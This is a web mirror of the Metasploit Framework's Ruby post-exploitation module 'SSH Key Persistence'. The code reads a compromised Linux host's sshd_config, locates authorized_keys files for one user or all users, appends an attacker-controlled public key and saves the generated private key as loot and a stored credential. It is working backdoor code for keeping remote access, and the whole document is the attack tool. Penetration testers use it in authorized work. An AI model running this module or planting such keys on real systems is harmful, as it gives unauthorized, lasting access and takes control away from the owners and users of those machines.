Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/post/linux/manage/sshkey_persistence.rb
19778 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
require 'sshkey'
7
8
class MetasploitModule < Msf::Post
9
Rank = ExcellentRanking
10
11
include Msf::Post::File
12
include Msf::Post::Unix
13
14
def initialize(info = {})
15
super(
16
update_info(
17
info,
18
'Name' => 'SSH Key Persistence',
19
'Description' => %q{
20
This module will add an SSH key to a specified user (or all), to allow
21
remote login via SSH at any time.
22
},
23
'License' => MSF_LICENSE,
24
'Author' => [
25
'h00die <[email protected]>'
26
],
27
'Platform' => [ 'linux' ],
28
'SessionTypes' => [ 'meterpreter', 'shell' ],
29
'Notes' => {
30
'Stability' => [CRASH_SAFE],
31
'Reliability' => [],
32
'SideEffects' => [ARTIFACTS_ON_DISK]
33
},
34
'Compat' => {
35
'Meterpreter' => {
36
'Commands' => %w[
37
stdapi_fs_separator
38
]
39
}
40
}
41
)
42
)
43
44
register_options([
45
OptString.new('USERNAME', [false, 'User to add SSH key to (Default: all users on box)' ]),
46
OptPath.new('PUBKEY', [false, 'Public Key File to use. (Default: Create a new one)' ]),
47
OptString.new('SSHD_CONFIG', [true, 'sshd_config file', '/etc/ssh/sshd_config' ]),
48
OptBool.new('CREATESSHFOLDER', [true, 'If no .ssh folder is found, create it for a user', false ])
49
])
50
end
51
52
def run
53
if session.type == 'meterpreter'
54
sep = session.fs.file.separator
55
else
56
# Guess, but it's probably right
57
sep = '/'
58
end
59
print_status('Checking SSH Permissions')
60
sshd_config = read_file(datastore['SSHD_CONFIG'])
61
/^PubkeyAuthentication\s+(?<pub_key>yes|no)/ =~ sshd_config
62
if pub_key && pub_key == 'no'
63
print_error('Pubkey Authentication disabled')
64
elsif pub_key
65
vprint_good("Pubkey set to #{pub_key}")
66
end
67
%r{^AuthorizedKeysFile\s+(?<auth_key_file>[\w%/.]+)} =~ sshd_config
68
if auth_key_file
69
auth_key_file = auth_key_file.gsub('%h', '')
70
auth_key_file = auth_key_file.gsub('%%', '%')
71
if auth_key_file.start_with? '/'
72
auth_key_file = auth_key_file[1..]
73
end
74
else
75
auth_key_file = '.ssh/authorized_keys'
76
end
77
print_status("Authorized Keys File: #{auth_key_file}")
78
79
auth_key_folder = auth_key_file.split('/')[0...-1].join('/')
80
auth_key_file = auth_key_file.split('/')[-1]
81
if datastore['USERNAME'].nil?
82
print_status("Finding #{auth_key_folder} directories")
83
paths = enum_user_directories.map { |d| d + "/#{auth_key_folder}" }
84
else
85
if datastore['USERNAME'] == 'root'
86
paths = ["/#{datastore['USERNAME']}/#{auth_key_folder}"]
87
else
88
paths = ["/home/#{datastore['USERNAME']}/#{auth_key_folder}"]
89
end
90
vprint_status("Added User SSH Path: #{paths.first}")
91
end
92
93
if datastore['CREATESSHFOLDER'] == true
94
vprint_status("Attempting to create ssh folders that don't exist")
95
paths.each do |p|
96
unless directory?(p)
97
print_status("Creating #{p} folder")
98
cmd_exec("mkdir -m 700 -p #{p}")
99
end
100
end
101
end
102
103
paths = paths.select { |d| directory?(d) }
104
if paths.nil? || paths.empty?
105
print_error("No users found with a #{auth_key_folder} directory")
106
return
107
end
108
write_key(paths, auth_key_file, sep)
109
end
110
111
def write_key(paths, auth_key_file, sep)
112
if datastore['PUBKEY'].nil?
113
key = SSHKey.generate
114
our_pub_key = key.ssh_public_key
115
loot_path = store_loot('id_rsa', 'text/plain', session, key.private_key, 'ssh_id_rsa', 'OpenSSH Private Key File')
116
print_good("Storing new private key as #{loot_path}")
117
else
118
our_pub_key = ::File.read(datastore['PUBKEY'])
119
end
120
paths.each do |path|
121
path.chomp!
122
authorized_keys = "#{path}/#{auth_key_file}"
123
print_status("Adding key to #{authorized_keys}")
124
append_file(authorized_keys, "\n#{our_pub_key}")
125
print_good('Key Added')
126
next unless datastore['PUBKEY'].nil?
127
128
path_array = path.split(sep)
129
path_array.pop
130
user = path_array.pop
131
credential_data = {
132
origin_type: :session,
133
session_id: session_db_id,
134
post_reference_name: refname,
135
private_type: :ssh_key,
136
private_data: key.private_key.to_s,
137
username: user,
138
workspace_id: myworkspace_id
139
}
140
141
create_credential(credential_data)
142
end
143
end
144
end
145
146